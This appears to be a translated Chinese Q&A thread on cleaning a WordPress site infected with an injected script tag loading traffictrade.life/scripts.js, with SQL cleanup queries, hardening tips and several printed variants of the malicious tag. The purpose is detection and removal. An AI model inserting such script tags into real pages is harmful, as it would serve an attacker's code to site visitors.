感染恶意软件的Wordpress站点

Question

我公司几年前建立的一个WordPress站点看起来像是感染了恶意软件。我们应该做些什么来滤除网站上的恶意软件并防止再次发生？任何建议不胜感激。

看起来处处有嵌入的图像文件，这段代码被包埋：

<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> 

感谢

Answer 1

存在着一些happear天前的恶意软件。它也影响了我的旧客户站点之一。

它几乎影响到网站的所有帖子和页面。

如果你看看你的数据库的wp_posts表中的所有条目的POST_CONTENT，你会看到有这个新的脚本

<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> 

如果为了轻松地删除这个恶意软件使用此查询

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0; 

如果您使用缓存插件，请确保清除缓存。

希望这有助于

Answer 2

其实我已经遇到这个问题我100+的WordPress网站。我采取了以下的安全措施，我所有的网站

• 删除无效的插件
• 删除不活动的主题
• 更新WP本身
• 更新所有活动插件
• 移居的wp-config.php文件和包括实际wp_config.php中的路径
• 添加WP-hide登录以将wp-admin更改为用户所需。
• 为有限次数的尝试添加limit-login-attempts。
• 将plugins文件夹移至root并重命名它。还要将整个数据库中的所有/ wp-content /内容替换为新位置。
• 更改wp-content目录名称，并将/ wp-content /的所有保证替换为整个数据库中的新位置。

请使用这个工具来搜索和替换，因为值可能在_options表中存在的序列化形式 https://interconnectit.com/products/search-and-replace-for-wordpress-databases/

以下是可能的此类恶意软件存在

<script src='\''https://traffictrade.life/scripts.js'\'' type='\''text/javascript'\''></script> 

<script src="https://traffictrade.life/scripts.js" type="text/javascript"></script> 

<script src="https://traffictrade.life/scripts.js" type="mce-mce-mce-text/javascript"></script> 

<script src="https://traffictrade.life/scripts.js" type="mce-mce-text/javascript"></script> 

<script src="https://traffictrade.life/scripts.js" type="mce-text/javascript"></script> 

希望这有助于。

Answer 3

我知道这个线程很老，但像上面的注释之一，我发现注射在选项表中。

在做任何事情备份数据库之前！

SELECT * FROM wp_options WHERE option_value LIKE '%traffictrade%' 

这会给你带来一组结果，注入的脚本是以序列化的格式。

;s:22:"tds_logo_menu_upload_r";s:0:"";s:22:"tds_footer_logo_upload";s:0:"";s:29:"tds_footer_retina_logo_upload";s:0:"";s:25:"tds_site_background_image";s:60:"http://www.domain.co.uk/wp-content/uploads/2016/05/BG.png";s:6:"td_ads";a:8:{s:6:"header";a:6:{s:7:"ad_code";s:87:"<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>";s:9:"disable_m";s:0:"";s:10:"disable_tl";s:0:"";s:10:"disable_tp";s:0:"";s:9:"disable_p";s:0:""; 

公告中的代码traffictrade.life/scripts.js引用（script标签已被剥离了从网站安全）

从包含它并保存任何结果中移除脚本，该停止被重定向我的网站。